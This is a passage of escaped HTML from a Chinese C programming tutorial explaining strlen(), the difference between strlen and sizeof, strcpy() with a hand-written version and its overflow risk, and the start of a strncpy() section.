class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e len = \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(str); \u003cspan class=\"comment\"\u003e// 5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estrlen()\u003c/code\u003e的原型在标准库的\u003ccode\u003estring.h\u003c/code\u003e文件中定义,使用时需要加载头文件\u003ccode\u003estring.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;The string is %zd characters long.\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(s));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,字符串长度(\u003ccode\u003estrlen()\u003c/code\u003e)与字符串变量长度(\u003ccode\u003esizeof()\u003c/code\u003e),是两个不同的概念。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s[\u003cspan class=\"number\"\u003e50\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(s)); \u003cspan class=\"comment\"\u003e// 5\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(s)); \u003cspan class=\"comment\"\u003e// 50\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符串长度是5,字符串变量长度是50。\u003c/p\u003e\u003cp\u003e如果不使用这个函数,可以通过判断字符串末尾的\u003ccode\u003e\\0\u003c/code\u003e,自己计算字符串长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emy_strlen\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e *s)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e count = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (s[count] != \u003cspan class=\"string\"\u003e\u0026#39;\\0\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e count++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"strcpy\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strcpy\" class=\"headerlink\" title=\"strcpy()\"\u003e\u003c/a\u003estrcpy()\u003c/h3\u003e\u003cp\u003e字符串的复制,不能使用赋值运算符,直接将一个字符串赋值给字符数组变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e str1[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e str2[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estr1 = \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estr2 = str1; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面两种字符串的复制写法,都是错的。因为数组的变量名是一个固定的地址,不能修改,使其指向另一个地址。\u003c/p\u003e\u003cp\u003e如果是字符指针,赋值运算符(\u003ccode\u003e=\u003c/code\u003e)只是将一个指针的地址复制给另一个指针,而不是复制字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s2;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es1 = \u003cspan class=\"string\"\u003e\u0026#34;abc\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003es2 = s1;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码可以运行,结果是两个指针变量\u003ccode\u003es1\u003c/code\u003e和\u003ccode\u003es2\u003c/code\u003e指向同一字符串,而不是将字符串\u003ccode\u003es2\u003c/code\u003e的内容复制给\u003ccode\u003es1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eC 语言提供了\u003ccode\u003estrcpy()\u003c/code\u003e函数,用于将一个字符串的内容复制到另一个字符串,相当于字符串赋值。该函数的原型定义在\u003ccode\u003estring.h\u003c/code\u003e头文件里面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e dest[], \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e source[])\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estrcpy()\u003c/code\u003e接受两个参数,第一个参数是目的字符串数组,第二个参数是源字符串数组。复制字符串之前,必须要保证第一个参数的长度不小于第二个参数,否则虽然不会报错,但会溢出第一个字符串变量的边界,发生难以预料的结果。第二个参数的\u003ccode\u003econst\u003c/code\u003e说明符,表示这个函数不会修改第二个字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e s[] = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e t[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(t, s);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e t[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#39;z\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, s); \u003cspan class=\"comment\"\u003e// \u0026#34;Hello, world!\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, t); \u003cspan class=\"comment\"\u003e// \u0026#34;zello, world!\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将变量\u003ccode\u003es\u003c/code\u003e的值,拷贝一份放到变量\u003ccode\u003et\u003c/code\u003e,变成两个不同的字符串,修改一个不会影响到另一个。另外,变量\u003ccode\u003et\u003c/code\u003e的长度大于\u003ccode\u003es\u003c/code\u003e,复制后多余的位置(结束标志\u003ccode\u003e\\0\u003c/code\u003e后面的位置)都为随机值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrcpy()\u003c/code\u003e也可以用于字符数组的赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e str[\u003cspan class=\"number\"\u003e10\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(str, \u003cspan class=\"string\"\u003e\u0026#34;abcd\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将字符数组变量,赋值为字符串“abcd”。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrcpy()\u003c/code\u003e的返回值是一个字符串指针(即\u003ccode\u003echar*\u003c/code\u003e),指向第一个参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s1 = \u003cspan class=\"string\"\u003e\u0026#34;beast\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e s2[\u003cspan class=\"number\"\u003e40\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#34;Be the best that you can be.\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* ps;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eps = \u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(s2 + \u003cspan class=\"number\"\u003e7\u003c/span\u003e, s1);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(s2); \u003cspan class=\"comment\"\u003e// Be the beast\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(ps); \u003cspan class=\"comment\"\u003e// beast\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,从\u003ccode\u003es2\u003c/code\u003e的第7个位置开始拷贝字符串\u003ccode\u003ebeast\u003c/code\u003e,前面的位置不变。这导致\u003ccode\u003es2\u003c/code\u003e后面的内容都被截去了,因为会连\u003ccode\u003ebeast\u003c/code\u003e结尾的空字符一起拷贝。\u003ccode\u003estrcpy()\u003c/code\u003e返回的是一个指针,指向拷贝开始的位置。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrcpy()\u003c/code\u003e返回值的另一个用途,是连续为多个字符数组赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(str1, \u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(str2, \u003cspan class=\"string\"\u003e\u0026#34;abcd\u0026#34;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例调用两次\u003ccode\u003estrcpy()\u003c/code\u003e,完成两个字符串变量的赋值。\u003c/p\u003e\u003cp\u003e另外,\u003ccode\u003estrcpy()\u003c/code\u003e的第一个参数最好是一个已经声明的数组,而不是声明后没有进行初始化的字符指针。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* str;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(str, \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的代码是有问题的。\u003ccode\u003estrcpy()\u003c/code\u003e将字符串分配给指针变量\u003ccode\u003estr\u003c/code\u003e,但是\u003ccode\u003estr\u003c/code\u003e并没有进行初始化,指向的是一个随机的位置,因此字符串可能被复制到任意地方。\u003c/p\u003e\u003cp\u003e如果不用\u003ccode\u003estrcpy()\u003c/code\u003e,自己实现字符串的拷贝,可以用下面的代码。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003estrcpy\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* dest, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* source)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* ptr = dest;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (*dest++ = *source++);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ptr;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e str[\u003cspan class=\"number\"\u003e25\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(str, \u003cspan class=\"string\"\u003e\u0026#34;hello world\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, str);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,关键的一行是\u003ccode\u003ewhile (*dest++ = *source++)\u003c/code\u003e,这是一个循环,依次将\u003ccode\u003esource\u003c/code\u003e的每个字符赋值给\u003ccode\u003edest\u003c/code\u003e,然后移向下一个位置,直到遇到\u003ccode\u003e\\0\u003c/code\u003e,循环判断条件不再为真,从而跳出循环。其中,\u003ccode\u003e*dest++\u003c/code\u003e这个表达式等同于\u003ccode\u003e*(dest++)\u003c/code\u003e,即先返回\u003ccode\u003edest\u003c/code\u003e这个地址,再进行自增运算移向下一个位置,而\u003ccode\u003e*dest\u003c/code\u003e可以对当前位置赋值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estrcpy()\u003c/code\u003e函数有安全风险,因为它并不检查目标字符串的长度,是否足够容纳源字符串的副本,可能导致写入溢出。如果不能保证不会发生溢出,建议使用\u003ccode\u003estrncpy()\u003c/code\u003e函数代替。\u003c/p\u003e\u003ch3 id=\"strncpy\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strncpy\" class=\"headerlink\" title=\"strncpy()\"\u003e\u003c/a\u003estrncpy()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003estrncpy()\u003c/code\u003e跟\u003ccode\u003estrcpy()\u003c/code\u003e的用法完全一样,只是多了第3个参数,用来指定复制的最大字符数,防止溢出目标字符串变量的边界。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan 